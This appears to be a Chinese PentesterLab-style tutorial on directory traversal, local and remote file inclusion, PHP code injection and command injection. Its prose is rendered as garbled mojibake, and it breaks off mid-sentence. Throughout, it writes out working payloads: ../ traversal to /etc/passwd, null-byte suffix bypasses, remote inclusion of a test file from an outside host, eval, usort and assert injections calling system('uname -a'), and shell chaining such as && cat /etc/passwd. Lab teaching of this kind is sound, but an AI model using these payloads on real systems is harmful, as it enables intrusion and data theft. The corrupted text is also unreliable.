Ŀ¼±éÀú
Ŀ¼±éÀú©¶´ÊÇÒòΪwebÓ¦ÓöÔ·¾¶²¿·ÖûÓйýÂË»òÕß±àÂë¡£
ÔÚÒ»¸ö±éÀú©¶´ÖУ¬Äã¿ÉÒÔÓá°Ïàֵͬ¼¼Êõ¡±À´²âÊÔÊÇ·ñ´æÔÚÎÊÌâ¡£¾Ù¸öÀý×Ó£¬Èç¹ûÒ»¸ö²ÎÊýµÄ·¾¶ÊÇ/images/photo.jpg¡£Äã¿ÉÒÔ³¢ÊÔÒÔÏÂÕâЩ·¾¶£º
/images/./photo.jpg ¿ÉÒÔ¿´µ½Í¬ÑùµÄÒ³Ãæ
/images/../photo.jpg ¿´µ½Ò»¸ö´íÎóÒ³Ãæ
/images/../images/photo.jpg Ôٴο´µ½Í¬ÑùµÄÒ³Ãæ
/images/../IMAGES/photo.jpg ³öÏÖÒ»¸ö´íÎó£¨ÊÓÎļþϵͳ¶ø¶¨£©»òÕß·¢ÉúһЩ¹Å¹ÖµÄÊÂÇé
Èç¹ûû¿´µ½imageÕâ¸ö·¾¶²ÎÊý£¬Õâ¸öºÏ·¨µÄ·¾¶Ö±½ÓÊÇphoto.jpg£¬ÄãÐèÒªÕÒ³öËüµÄ¸¸Ä¿Â¼ÊÇʲô¡£
ÔÚ²âÊÔÖУ¬Äã¿ÉÒÔ³¢ÊÔ¼ìË÷ÆäËûÎļþ¡£ÔÚLinux/UnixÖÐ×î³£ÓõIJâÊÔÎļþÊÇ/etc/passwd¡£Äã¿ÉÒÔÕâôÊÔ£º
images/../../../../../../../../../../../etc/passwd |
Èç¹ûÄãÄÜ¿´µ½passwdÎļþµÄÄÚÈÝ˵Ã÷webÓ¦ÓÃÊÇ´æÔÚ©¶´µÄ¡£Õâ¸ö·½·¨µÄºÃ´¦ÊÇÄã²»ÓÃÖªµÀÐèÒª·Å¼¸¸ö../.£¬Èç¹ûÄã·ÅÁ˺ܶàÒ»ÑùÄÜ×àЧ¡£
ÁíÒ»¼þÓÐȤµÄÊÂÇéÊÇ£¬Èç¹ûÔÚwindowsÏÂÄãÓиöĿ¼±éÀú©¶´£¬Äã¿ÉÒÔ´ò¿ª
ÕâÑùµÄ·¾¶£¬¼´Ê¹testÕâ¸öĿ¼²»´æÔÚ¡£µ«ÔÚlinux¾ÍÐв»Í¨ÁË¡£µ±Óöµ½´úÂë½áºÏÓû§ÊäÈëµÄÊý¾ÝÀ´´´½¨ÎļþÃûµÄʱºòÕâÊǺÜÓÐÓõÄ©¶´¡£¾Ù¸öÀý×Ó£¬ÏÂÃæµÄphp´úÂëÊÇÉè¼ÆÎªÌí¼Óid±äÁ¿À´´´½¨ÎļþÃûµÄ£¨±ÈÈçexample_1.txt£©¡£ÔÚlinuxÏ£¬Èç¹û²»´æÔÚÒÔexample_¿ªÍ·µÄĿ¼£¬¾ÍÎÞ·¨ÀûÓÃÕâ¸ö©¶´£¬È»¶øÔÚwindowsÏ£¬¼´Ê¹²»´æÔÚÕâÑùµÄĿ¼ҲÄܳɹ¦ÀûÓÃÕâ¸ö©¶´¡£
$file = "/var/files/example_".$_GET['id' ].".txt" ; |
ÔÚÕâЩÀý×ÓÖУ¬º¬ÓЩ¶´µÄ½Å±¾´úÂëʹÓÃÁË<img±êÇ©¡£ÄãÐèÒª¶ÁÈ¡HTMLÔ´´úÂ루»òÕ߸´ÖÆÍ¼Æ¬url£©À´»ñµÃÕýÈ·µÄÁ´½ÓµØÖ·À´ÊµÊ©Â©¶´¹¥»÷¡£
ʾÀý1
µÚÒ»¸öÀý×ÓÊÇÒ»¸ö·Ç³£¼òµ¥µÄĿ¼±éÀúÀý×Ó¡£ÄãÖ»Òª½øÈëϲã»òÕß·µ»ØÉÏ´«Ä¿Â¼À´»ñÈ¡ÈκÎÄãÄÜ»ñÈ¡µÄÎļþ¡£ÔÚÕâ¸öÀý×ÓÖУ¬Äã»áÊܵ½ÎļþϵͳµÄȨÏÞÏÞÖÆ£¬±ÈÈç²»Äܵõ½/etc/shadowÕâ¸öÎļþ¡£
ÔÚÕâ¸öÀý×ÓÖУ¬»ùÓÚweb·þÎñÆ÷·¢Ë͵ı¨Îı¨Í·£¬ä¯ÀÀÆ÷»áÒÔ²»Í¬µÄÐÎʽÏÔʾ·µ»ØÖµ¡£ÓÐʱºò·þÎñÆ÷·µ»ØµÄ±¨Îĵı¨Í·ÊÇContent-Disposition:
attachment£¬ÕâÑùä¯ÀÀÆ÷²»»áÖ±½ÓÏÔʾÎļþµÄÄÚÈÝ¡£ÄãÐèÒª´ò¿ªÕâ¸ö¸½¼þÐÎʽµÄÎļþÀ´²é¿´ËûµÄÄÚÈÝ¡£ÕâÖÖ·½Ê½µÄÿ´Î²âÊÔ¶¼»á»¨·ÑÒ»µãʱ¼ä¡£
ÔÚlinux/unixϵͳÖУ¬Äã¿ÉÒÔÓÃwget¼ÓËÙÍê³ÉÕâÒ»²âÊÔ£º
1 % wget -O - 'http://vulnerable/dirtrav/example1.php? 2 file=../../../../../../../etc/passwd' 3 [...] 4 daemon:x:1:1:daemon:/usr/sbin:/bin/sh 5 bin:x:2:2:bin:/bin:/bin/sh 6 [...] |
ʾÀý2
ÔÚÕâ¸öÀý×ÓÖУ¬Äã¿ÉÒÔ¿´µ½Á´½ÓµÄÎļþµÄÍêÕû·¾¶¡£µ«ÊÇ£¬Èç¹ûÄãÖ±½Ó°Ñ·¾¶Ìæ»»³É/etc/passwd£¬ÄÇÄ㻹Êǵò»µ½Èκζ«Î÷¡£Õâ¸ö¼òµ¥µÄ·¾¶¼ì²éÊÇphp´úÂëÍê³ÉµÄ¡£²»¹ýÄãÈÔÈ»¿ÉÒÔÔÚÔÀ´Â·¾¶µÄºóÃæ¼ÓÉÏÄãµÄ¹¥»÷´úÂ룬ÔÚÎļþϵͳÖнøÈë»òÕß·µ»ØÉÏϼ¶Ä¿Â¼¡£
ʾÀý3
Õâ¸öÀý×ÓÊÇ»ùÓÚÒ»¸ö³£¼ûµÄÎÊÌ⣬µ±Äã³¢ÊÔ±éÀúĿ¼µÄʱºò£¬·þÎñ¶Ë´úÂë»áÔÚÄãµÄ´úÂëÖÐÌí¼Ó×Ô¼ºµÄºó׺¡£ÕâʱºòÓÃNULL×Ö·û£¨url±àÂëΪ%00£©ºÜÈÝÒ×ÈÆ¹ýËü¡£ÓÿÕÖµ°ÚÍÑ·þÎñÆ÷¶ËÌí¼ÓµÄºó׺ÊÇͨ³£µÄÈÆ¹ý·½·¨£¬ÕâÔÚPerlºÍ¾É°æ±¾µÄPHPÄÜ´ïµ½ºÜºÃµÄЧ¹û¡£PHP´Ó5.3.4¿ªÊ¼½â¾öÁËÕâ¸ö°²È«Â©¶´¡£
Îļþ°üº¬
ÔںܶàwebÓ¦ÓÃÖУ¬¿ª·¢ÕßÐèÒªÔÚ¶àÖØÒ³ÃæÖÐͨ¹ý°üº¬ÎļþÀ´ÔØÈë»ù´¡Àà»òÕß¹²ÏíһЩģ°å¡£
Îļþ°üº¬Â©¶´ÊÇÒòΪÔÚÓû§¿ØÖƵıäÁ¿×÷ΪÎļþÃûµÄÒ»²¿·Ö±»´«ÈëÎļþ°üº¬º¯Êý£¨phpÖÐÓÐrequire,require_once,
include or include_onceµÈº¯Êý£©Ê±Ã»ÓнøÐÐÑϸñµÄ¹ýÂË¡£Ò»µ©Îļþ´«ÈëµÄ·½Ê½´æÔÚ©¶´£¬¹¥»÷Õ߾ͿÉÄܲÙ×ݺ¯Êý¼ÓÔØ×Ô¼ºµÄ´úÂë¡£Îļþ°üº¬Â©¶´Ò²¿ÉÒÔ±»ÓÃÀ´±éÀú¶ÁÈ¡ÈÎÒâÎļþ¡£µ«ÊÇ£¬Èç¹ûÓÐÈÎÒâµÄ´úÂë°üº¬¿ª·ÅµÄPHP±êÇ©£¬Õâ¸öÎļþ»á±»×÷ΪPHP´úÂëÀ´Ö´ÐС£
Îļþ°üº¬º¯Êý¿ÉÒÔÔÊÐíÔØÈë±¾µØ×ÊÔ´»òÕßÔ¶³Ì×ÊÔ´£¨±ÈÈçÒ»¸öwebÍøÕ¾£©¡£Èç¹û©¶´´æÔÚ£¬Ëû½«µ¼Ö£º
±¾µØÎļþ°üº¬£º¼ò³ÆLFI¡£Ò»¸ö¿ÉÒÔ¶ÁÈ¡ºÍÖ´Ðеı¾µØÎļþ
Ô¶³ÌÎļþ°üº¬£º¼ò³ÆRFI¡£Ò»¸ö¿ÉÒÔ»ñÈ¡ºÍÖ´ÐеÄÔ¶³ÌÎļþ¡£
ĬÈÏÇé¿öÏ£¬PHP½ûÖ¹ÔØÈëÔ¶³ÌÎļþ£¬¹ØÁªµÄÅäÖÃÑ¡ÏîÊÇallow_url_include¡£ÔÚISOÖУ¬Õâ¸öÑ¡Ïî±»ÉèÖÃΪÔÊÐíÄÜÈÃÄã²âÊÔRFI©¶´¡£
ʾÀý1
ÔÚÍ·¸öÀý×ÓÖУ¬Ö»ÒªÄãÔÚ±äÁ¿ºóÌí¼ÓÁËÒ»¸öÌØÊâ×Ö·û£¨±ÈÈçÒýºÅ£©£¬»á·µ»ØÒ»¸ö´íÎóÏûÏ¢£º
1 Warning: include(intro.php'): failed to open stream: No such file or 3 directory in /var/www/fileincl/example1.php on line 7 Warning: 5 include(): Failed opening 'intro.php'' for inclusion 7 (include_path='.:/usr/share/php:/usr/share/pear') in 9 /var/www/fileincl/example1.php on line 7 |
Èç¹ûÄãÈÏÕæ¿´ÕâÒ»¶Î´íÎóÐÅÏ¢£¬ÄãÄÜ׼ȷµÄµÃµ½ÈçÏÂÐÅÏ¢£º
Õâ¸ö½Å±¾µÄ·¾¶ÊÇ£º/var/www/fileincl/example1.php
Õâ¸öº¯ÊýÓÃÁË£ºinclude()¡£
Õâ¸ö±»´«Èëincludeº¯ÊýµÄÖµÊDZ»ÎÒ×¢Èë¹ýµÄÄǸöintro.php£¬²¢Ã»ÓжàÓàµÄ¶«Î÷»òÓйýÂË»úÖÆ¡£
ÎÒÃÇÄÜÓÃ̽²âĿ¼±éÀúµÄ·½Ê½À´Ì½²âÎļþ°üº¬Â©¶´¡£±ÈÈ磬ÄãÄÜÓÃ../¼¼ÇÉÀ´´ïµ½°üº¬/etc/passwdÎļþµÄÄ¿µÄ¡£
ÎÒÃÇ¿ÉÒÔͨ¹ýÒýÓÃÍⲿµÄ×ÊÔ´À´²âÊÔÔ¶³ÌÎļþ°üº¬Â©¶´£¬±ÈÈçÒýÓÃhttps://pentesterlab.com/¡£Èç¹ûÔ¶³Ì°üº¬Â©¶´´æÔÚ£¬ÎÒÃÇÄÜ¿´µ½µ±Ç°Ò³Ã汻ǶÈëÁËPentesterLabµÄÒ³Ãæ¡£
PentesterLabµÄÍøÕ¾°üº¬ÁËÕë¶ÔÕâÖֵļì²â½Å±¾¡£Èç¹ûÄãÒýÓÃÁËhttps://pentesterlab.com/test_include.txt£¬Äã¾ÍÄÜÔÚµ±Ç°Ò³ÃæÖп´µ½±»µ÷ÓõÄphpinfoº¯ÊýµÄ·µ»Ø½á¹û¡£

ʾÀý2
ºÍÔÚĿ¼±éÀú©¶´ÖÐÓöµ½µÄÇé¿öÏàËÆ£¬ÔÚÕâ¸öÀý×ÓÖУ¬php³ÌÐò»áÔÚÌṩµÄÎļþÖµÌí¼Ó×Ô¼ºµÄºó׺¡£Ò²ºÍÏÈǰµÄ´¦Àí·½·¨ÀàËÆ£¬Äã¿ÉÒÔÔÚLFIÖÐÓÃNULLÀàÐÍÖµÀ´°ÚÍѺó׺´øÀ´µÄÀ§ÈÅ¡£Õë¶ÔRFI£¬Ä㻹¿ÉÒÔͨ¹ýÌí¼Ó&blah=
»òÕß ?blah=ÈÆ¹ýºó׺ÎÊÌ⣬ÕâҪȡ¾öÓÚÄãÓöµ½µÄURLÐÎʽ¡£
ÔÚÕâ¸öʾÀýÖУ¬´úÂëÄ£ÄâµÄÊǾɰ汾µÄPHPÐÐΪ¡£Ð°汾µÄPHP£¨5.3.4¿ªÊ¼£©ÒѾ¾ÀÕýÁË·¾¶´¦ÀíÎÊÌ⣬²¢ÇÒ²»»áÊÜNULLÀàÐÍÖµµÄÓ°Ïì¡£
´úÂë×¢Èë
ÔÚÕâ¸öÕ½ÚÖУ¬ÎÒÃÇÒª½Ó´¥µÄÊÇ´úÂëÖ´ÐЩ¶´¡£´úÂëÖ´ÐЩ¶´ÊÇÒòΪ¶ÔÓû§¿ØÖƵÄÊäÈëÊý¾ÝûÓнøÐÐÇ¡µ±µÄ¹ýÂ˺ÍתÒå¡£µ±ÄãÖ´ÐÐÒ»¸ö´úÂë×¢Èë©¶´£¬ÄãÒªÔÚ·¢Ë͸øwebÓ¦ÓóÌÐòµÄÊý¾ÝÖÐÌí¼ÓÄãµÄ×¢Èë´úÂë¡£±ÈÈ磬ÄãÏëÒªÖ´ÐÐlsÃüÁÄãÒª·¢ËÍsystem(¡°ls¡±)£¬ÒòΪÕâÊǸöphp³ÌÐò¡£
¾ÍÏñÆäËûweb©¶´µÄÀý×ÓÒ»Ñù£¬Í¨³£ºÜÄÑÖªµÀÔõôעÊ͵ôʣϵĴúÂ루±ÈÈç³ÌÐòÔÚÓû§¿ØÖƵÄÊý¾ÝºóÌí¼ÓµÄ´úÂ룩¡£ÔÚPHPÖУ¬Äã¿ÉÒÔÓÃ//À´Èƹý±»Ìí¼ÓµÄ´úÂë¡£
ºÍSQL×¢Èë©¶´Ò»Ñù£¬Äã¿ÉÒÔÓÃͬÑùµÄ¼¼ÇÉÀ´²âÊÔ²¢ÇÒÈ·±£ÄãµÄ×¢Èë´úÂë±»Ö´ÐУº
ÓÃ×¢ÊÍ·ûÀ´Ö´ÐÐ×¢Èë /* ÈÎÒâÖµ */
ÓÃÒ»¸ö¼òµ¥Á¬½Ó·û¡±.¡±À´×¢È루ÕâÀÓÃÀ´´ò¶ÏÓï¾ä²¢ÇÒÕýÈ·µÄÖØ×éÓï¾ä£©
ÓÃ×Ö·û´®Á¬½Ó·ûÀ´¹¹Ôì±äÁ¿£¬±ÈÈçÓá±.¡±ha¡±.¡±cker¡±À´Ìæ´úhacker
Äã¿ÉÒÔ»ùÓÚʱ¼äµÄ¼ì²â·½Ê½À´¶¨Î»Â©¶´£¬ÒªÓõ½phpµÄsleepº¯Êý¡£ÏÂÃæÁ½¸öÀý×ÓÒ²Óв»Í¬µÄʱ¼äÏìÓ¦:
²»Ê¹ÓÃsleepº¯Êý»òÕßÓÃÁãʱ¼äÑÓ³Ùº¯Ê壺sleep(0)
ÓÃʱ¼äº¯ÊýÒýÈë½Ï³¤µÄÑÓʱ£ºsleep(10)
ʾÀý1
µÚÒ»¸öÀý×ÓÊÇÒ»¸öÏ൱¼òµ¥µÄ´úÂë×¢ÈëÀý×Ó¡£Èç¹ûÄã×¢ÈëÁËÒ»¸öµ¥ÒýºÅ£¬¿´²»µ½ÈκÎЧ¹û¡£µ«ÊÇ£¬Èç¹ûÄãÏëµ½ÓÃË«ÒýºÅ×¢ÈëÀ´ÖÆÔìÕâ¸öÎÊÌ⣬»á²úÉúÈçÏ´íÎó£º
1 Parse error: syntax error, unexpected '!', expecting ',' or ';' in 2 /var/www/codeexec/example1.php(6) : eval()'d code on line 1 |
»òÕßÒ²ÓпÉÄÜÊÇÏà·´µÄÇé¿ö£¬µ¥ÒýºÅ»á²úÉú´íÎóµ«ÊÇË«ÒýºÅ²»»áÓÐÎÊÌ⡣ͨ¹ýÕâ¸ö´íÎóÐÅÏ¢£¬ÎÒÃÇÄÜÍÆ¶Ï³öÕâ´úÂëÖÐÓõ½µÄevalº¯ÊýÊÇÕâÑùµÄ£º¡±Eval
is eval¡¡±.
ÎÒÃÇ¿´³öË«ÒýºÅ´òËãÁËÓï¾ä£¬²¢ÇÒÕâ¸öevalº¯ÊýËÆºõÓõÄÎÒÃǵÄÊäÈë¡£ÓÐÁËÕâЩÐÅÏ¢£¬ÎÒÃdz¢ÊÔÀûÓÃÈçϹ¥»÷Óï¾äÀ´µÃµ½Í¬ÑùµÄЧ¹û£º
¡°.¡±£ºÓÃÕâ¸ö×Ö·û´®Á¬½Ó·û£¬Äܵõ½Í¬ÑùµÄЧ¹û
¡°./* pentesterlab*/¡±£ºÎÒÃÇÖ»ÒªÓÃ×Ö·û´®Á¬½Ó·ûÁ¬½Ó×¢ÊÍÓï¾ä£¬ÕâÑùÒ²ÄܴﵽͬÑùµÄЧ¹û¡£
ÏÖÔÚÎÒÃÇÓÐÁËÏàËÆµÄÖµÀ´¹¤×÷£¬»¹ÐèÒªµÄÊÇÓÃÀ´×¢ÈëµÄ´úÂ롣ΪÁËÏÔʾÎÒÃÇÄܹ»×¢Èë´úÂ룬ÎÒÃdz¢ÊÔÖ´ÐÐÒ»¸öÃüÁ±ÈÈçuname
-a£©À´²âÊÔ¡£ÍêÕûµÄPHP´úÂëÊÇ£º
ÕâÀïµÄÌôÕ½ÊÇ´òÆÆÔÀ´µÄ´úÂëÓï¾äºÍ±£³ÖÒ»¸ö¸É¾»µÄÓï¾ä¡£
Óкܶ෽ʽ¿ÉÒÔ×öµ½Õâµã£º
ͨ¹ýÌí¼ÓÐé¼Ù´úÂ룺¡±.system(¡®uname ¨Ca¡¯);$dummy=¡±.
ͨ¹ýÒýÈë×¢ÊÍ£º¡±system(¡®uname ¨Ca¡¯);#»òÕß¡±.system(¡®uname
¨Ca¡¯);//¡£
²»ÒªÍü¼ÇÔÚÌá½»×¢ÈëÇëÇóǰÐèÒª°ÑijЩ×Ö·û£¨#ºÍ;£©×ª»»³Éurl±àÂë¡£
ʾÀý2
ÔÚ¸øÄ³Ð©ÐÅÏ¢ÅÅÐòµÄʱºò£¬¿ª·¢Õßͨ³£ÓÃÁ½ÖÖ·½Ê½£º
ͨ¹ýSQLÇëÇóÀ´ÅÅÐò
ÀûÓÃPHPµÄusortº¯Êý
usortº¯Êýͨ³£ºÍcreate_functionº¯ÊýÒ»ÆðʹÓã¬ÓÃÀ´¸ù¾ÝÓû§¿ØÖƵÄÊäÈëÐÅÏ¢À´¶¯Ì¬µÄ²úÉúÅÅÐòº¯Êý¡£Èç¹ûwebÓ¦ÓóÌÐòȱÉÙÑϸñµÄ¹ýÂ˺ͼìÑé¾Í¿ÉÄܵ¼Ö´úÂëÖ´ÐЩ¶´µÄ²úÉú¡£
ͨ¹ý×¢ÈëÒ»¸öµ¥ÒýºÅ²úÉúµÄ±¨´í£¬ÎÒÃÇÄÜÍÆ¶Ï³öÕýÔÚÔËÐеijÌÐò£º
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING
in /var/www/codeexec/example2.php(22) : runtime-created function on line
Warning: usort() expects parameter 2 to be a valid callback, no array or string given
in /var/www/codeexec/example2.php on line 22 |
³ÌÐòÖеĺ¯ÊýÔ´´úÂëÀàËÆÈçÏ£º
ZEND_FUNCTION(create_funct ion) 2 { 3 [...] 4 eval_code = (char *) emalloc (eval_code_length); 5 sprintf(eval_code, "function" LAMBDA_TEMP_FUNCNAME " (%s ){%s }" ,
Z_STRVAL_PP(z_function_args ), Z_STRVAL_PP(z_function_code)); 6 eval_name = zend_make_compiled_string _description("runtime-created function" TSRMLS_CC); 7 retval = zend _eval_string (eval_code, NULL, eval_name TSRMLS_CC); 8 [...] |
ÎÒÃÇÄÜ¿´³ö»á±»Ö´ÐеĴúÂë±»·ÅÔÚ´óÀ¨ºÅÖУ¬ÎÒÃÇÐèÒªÕâ¸öÐÅÏ¢À´°ïÖúÔÚÎÒÃǵÄ×¢Èë´úÂëºóÕýÈ·µÄÍê³ÉÓï¾ä¡£
ºÍ֮ǰµÄ´úÂë×¢ÈëÀý×Ó²»Ò»Ñù£¬ÔÚÕâÀïÄã²»ÊÇ×¢ÈëÒ»¸öµ¥ÒýºÅ»òÕßË«ÒýºÅ¡£ÎÒÃÇÐèÒª±ÕºÏÓï¾äÖеÄ}²¢ÇÒÒªÓÃ//ºÍ#£¨Òª×ª»»³ÉÏàÓ¦µÄ±àÂ룩°ÑʣϵĴúÂëÈ«²¿×¢Ê͵ô¡£ÎÒÃÇ¿ÉÒÔ³¢ÊÔÕâÑù×ö£º
order=id;}//£ºµÃµ½±¨´íÐÅÏ¢(Parse error: syntax
error, unexpected ¡®;¡¯)£»Õâ˵Ã÷ÎÒÃÇȱÉÙÒ»¸ö»òÕß¶à¸öÀ¨ºÅ
order=id);}//£ºµÃµ½Ò»¸ö¾¯¸æ¡£ËµÃ÷´úÂë±»ÕýÈ·Ö´ÐÐÁË
order=id)); }//£ºµÃµ½Ò»¸ö´íÎóÐÅÏ¢(Parse error:
syntax error, unexpected ¡®)¡¯ i).Õâ˵Ã÷ÓÃÁËÌ«¶àµÄÀ¨ºÅ
ÕâÑùÎÒÃǾÍÖªµÀÔõôÕýÈ·µÄ½áÊøµÄÓï¾ä£¨¾¯¸æÐÅÏ¢²»»áÍ£Ö¹´úÂëµÄÖ´Ðйý³Ì£©£¬±ÈÈç¹¹Ôìorder=id);}system(¡®uname%20-a¡¯);//ÕâÑùµÄÓï¾äÀ´Ö´ÐÐÈÎÒâ´úÂë²¢µÃµ½ÏàÓ¦µÄ½á¹û¡£
ʾÀý3
ÎÒÃÇÔÚÏÈǰÌÖÂÛ¹ý¶àÐÐÕýÔò±í´ïʽÖеÄÕýÔò±í´ïʽÐÞÊηû¡£ÔÚPHPÖÐÓÐÒ»¸ö·Ç³£Î£ÏÕµÄÐÞÊηû£ºPCRE_REPLACE_EVAL(/e)¡£Õâ¸öÐÞÊηû»áµ¼ÖÂÔÚÖ´ÐÐÌæ»»Ö®Ç°preg_replaceº¯Êý°ÑÐÂÖµµ±×öPHP´úÂëÀ´Ö´ÐУ¨PCRE_REPLACE_EVALº¯ÊýÔÚPHP5.5.0¿ªÊ¼±»ÌÞ³ýÁË£©¡£
ÕâÀïÄãÐèÒª¸Ä±äÕâ¸öģʽ£¬Í¨¹ýÌí¼Ó/eÐÞÊηû¡£Ò»µ©Ìí¼ÓÁËÕâ¸öÐÞÊηû£¬Äã»áµÃµ½Ò»¸önotice£º
Notice: Use of undefined constant hacker - assumed
hacker' in /var/www/codeexec/example3.php(3) : regexp code on line 1 |
preg_replaceº¯Êý³¢ÊÔ°ÑhackerÖµµ±×ö³£Á¿Ö´ÐУ¬µ«ÊÇËüδ¾¶¨ÒåËùÒÔÄãµÃµ½Õâ¸öÐÅÏ¢¡£
ÄãºÜÈÝÒ×°ÑhackerÖµÌæ»»³Éphpinfo()º¯ÊýÀ´µÃµ½Ò»¸öÃ÷ÏԵĽá¹û¡£Èç¹ûÄãÄܳɹ¦µÄµÃµ½phpinfoº¯ÊýµÄ·µ»Ø½á¹û£¬ÄÇÄã¾ÍÄÜÓÃsystemº¯ÊýÀ´Ö´ÐÐÈÎÒâÃüÁî¡£
ʾÀý4
Õâ¸ö´úÂëÖ´ÐеÄÀý×ÓÊÇ»ùÓÚº¯ÊýassertµÄ¡£Èç¹ûʹÓõIJ»Ç¡µ±£¬Õâ¸öº¯Êý»áÖ´ÐÐÊÕµ½µÄÖµ¡£Õâ¸öÐÐΪ¿ÉÒÔÓÃÀ´ÖÆÔì´úÂëÖ´ÐЩ¶´¡£
ͨ¹ý×¢ÈëÒ»¸öµ¥ÒýºÅ»òÕßË«ÒýºÅ£¨È¡¾öÓÚ×Ö·û´®ÊÇÔõôÉùÃ÷µÄ£©£¬ÎÒÃÇÄÜ¿´µ½Ò»¸ö´íÎóÐÅÏ¢£¬Õâ¸ö°µÊ¾ÁËPHPÊÔͼִÐÐÕâÕâ¸ö´úÂ룺
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in
/var/www/codeexec/example4.php(4) : assert code on line 1 Catchable 2 fatal error: assert(): Failure evaluating code: 'hacker'' in /var/www/codeexec/example4.php on line 4 |
Ò»µ©ÎÒÃÇ´ò¶ÏÁËÕâ¸öÓï¾ä£¬ÐèÒªÕýÈ·µÄÖØ½¨Ò»¸öÍêÕûµÄÓï¾ä¡£³¢ÊÔÓÃhacker¡¯.¡¯£¬»á·¢ÏÖ´íÎóÐÅÏ¢ÏûʧÁË¡£
ÏÖÔÚÎÒÃÇÒѾ֪µÀÁËÔõô±ÜÃâ´íÎóÀ´Íê³ÉÒ»¸öÓï¾ä£¬¿ÉÒÔÓÃphpinfo(): hacker¡¯.phpinfo()ÕâÑùµÄÓï¾äÀ´×¢ÈëÖ´ÐÐphpinfoº¯Êý¡£
ÃüÁî×¢Èë¹¥»÷
ÃüÁî×¢Èë¹¥»÷À´×ÔÓÚȱÉÙ¶Ô±»µ±×öÃüÁîÖ´ÐеÄÊäÈ벿·Ö½øÐÐÓÐЧµÄ¹ýÂË»òÕß±àÂë¡£×î¼òµ¥µÄÒ»¸öÀý×ÓÊÇÀûÓÃsystemº¯ÊýÀ´Ö´ÐУ¬²¢ÇÒʹÓýÓÊÕhttpµÄ²ÎÊý×÷ΪÓÐЧÊäÈë±äÁ¿¡£
ÓÐÐí¶à·½Ê½Ö´ÐÐÃüÁî×¢Èë¹¥»÷£º
ÔÚ·´ÒýºÅ¶ÔÖÐ×¢ÈëÃüÁ±ÈÈç`id`¡£
°ÑµÚÒ»¸öÃüÁîµÄ½á¹ûÖØ¶¨Ïòµ½µÚ¶þ¸öÖÐÈ¥£¬±ÈÈç| id
Èç¹ûµÚÒ»¸öÃüÁî±»³É¹¦Ö´ÐУ¬³¢ÊÔÖ´Ðиü¶àµÄÃüÁ&& id£¨ÕâÀï&ÐèÒª±»±àÂ룩
ÔÚÒ»¸öʧ°ÜµÄÃüÁîºóÖ´ÐÐÁíÒ»¸öÃüÁerror || id £¨ÕâÀïµÄerror¾ÍÖ»ÊÇΪÁËÖÆÔìÒ»¸ö´íÎó£©
ÕâÀïÒ²¿ÉÒÔÓÃÏàֵͬ¼¼ÇÉÀ´¼ì²âÕâÖÖ©¶´¡£±ÈÈ磬°Ñ123Ìæ»»³É`echo 123`¡£ÔÚ·´ÒýºÅÀïÃæµÄ´úÂë»á±»ÏÈÖ´ÐУ¬µ«ÊÇ·µ»ØµÄ½á¹ûºÍûÓиü¸Ä¹ýµÄ·µ»ØµÄÒ³ÃæÒ»Ñù¡£
ÄãÒ²¿ÉÒÔÓûùÓÚʱ¼äµÄÔØÌåÀ´¼ì²âÕâÖÖÀàÐ͵Ä©¶´¡£Äã¿ÉÒÔÒýÈëÐèÒª·þÎñÆ÷ÏûºÄʱ¼äÀ´Ö´ÐеÄÃüÁîÀ´¼ì²â©¶´£¨¿ÉÄÜ»áÓÐÔì³É¾Ü¾ø·þÎñ¹¥»÷µÄ·çÏÕ£©¡£Äã¿ÉÒÔÓÃsleepÃüÁîÈ÷þÎñÆ÷µÈ´ýÒ»¶Îʱ¼ä¼ÌÐøÖ´ÐÐÃüÁî¡£±ÈÈçÓÃsleep
10¡£
ʾÀý1
µÚÒ»¸öÀý×ÓÊǼòµ¥µÄÃüÁîÖ´ÐЩ¶´¡£¿ª·¢Õß²»×öÈκεÄÊäÈëÑéÖ¤£¬Äã¿ÉÒÔÖ±½ÓÔÚip²ÎÊýºó×¢ÈëÄãµÄÃüÁî¡£
¸ù¾ÝÇ°ÃæÌá¹ýµÄ¼¼ÇÉ£¬Äã¿ÉÒÔÓÃ&& cat /etc/passwd£¨Ô¤±àÂëÏÂ)À´²é¿´/etc/passwdµÄÄÚÈÝ¡£
ʾÀý2
ÔÚÕâ¸öÀý×ÓÖУ¬¿ª·¢ÕßÓÐÑéÖ¤ÌṩµÄ²ÎÊý£¬µ«ÊÇÓÃÁ˲»ÊǺÜÕýÈ·µÄ·½Ê½¡£¾ÍÏñÎÒÃÇ֮ǰ¿´µ½sql×¢Èë©¶´ÄÇÑù£¬ÀûÓõÄÊǶàÐеÄÕýÔò±í´ïʽ¡£Ê¹ÓúÍÔÚsql×¢Èë©¶´Ò»ÑùµÄ¼¼ÇÉ£¬Äã¿ÉÒÔÇáÒ×µÄÀûÓôúÂëÖ´ÐЩ¶´¡£
ÕâÀï±È½Ï·½±ãµÄÊÇÄã²»Óÿ¼ÂÇ×¢Èë·Ö¸ô·û¡£ÄãֻҪעÈë±àÂëµÄÐÂÐдúÂ루%0a£©È»ºó¼ÓÉÏÄãÒªÖ´ÐеÄÃüÁî¾ÍÐÐÁË¡£
ʾÀý3
Õâ¸öÀý×ÓºÍ֮ǰÄǸöºÜÏàÏñ£»Î¨Ò»²»Ò»ÑùµÄµØ·½ÊÇ¿ª·¢ÕßûÓÐÕýÈ·µÄÍ£Ö¹Ö´Ðнű¾¡£ÔÚPHPÖУ¬Èç¹ûÓû§µÄÌṩµÄÊäÈë´¥·¢ÁËijЩ°²È«¹æÔòµÄʱºò¿ÉÒÔµ÷ÓÃheaderº¯Êý·Ç³£¼ò±ãµÄʵÏÖÒ³ÃæÖØ¶¨Ïò¡£µ«ÊÇ£¬¾ÍËãä¯ÀÀÆ÷»á±»Öض¨Ïò£¬Õâ¸öº¯Êý²¢²»»áÍ£Ö¹Ö´Ðйý³Ì£¬½Å±¾ÈÔÈ»»á½«Î£ÏÕµÄÓï¾äÖ´ÐÐÍê±Ï¡£¿ª·¢ÕßÐèÒªÔÚµ÷ÓÃheaderº¯Êýºó½Ó×ŵ÷ÓÃdieº¯ÊýÀ´±ÜÃâÕâ¸öΣÏյĴíÎó¡£
Äã¿ÉÒÔÓÃä¯ÀÀÆ÷ºÜÈÝÒ×µÄʵʩÕâһ©¶´¹¥»÷£¬ÓÉÓÚä¯ÀÀÆ÷»á¸ú×ÅʵÏÖÖØ¶¨Ïò£¬Äã¾Í¿´²»µ½ÏÔʾµÄÖØ¶¨ÏòÒ³Ãæ¡£ÎªÁËʵʩÕâ¸ö¹¥»÷£¬Äã¿ÉÒÔʹÓÃtelnet£º
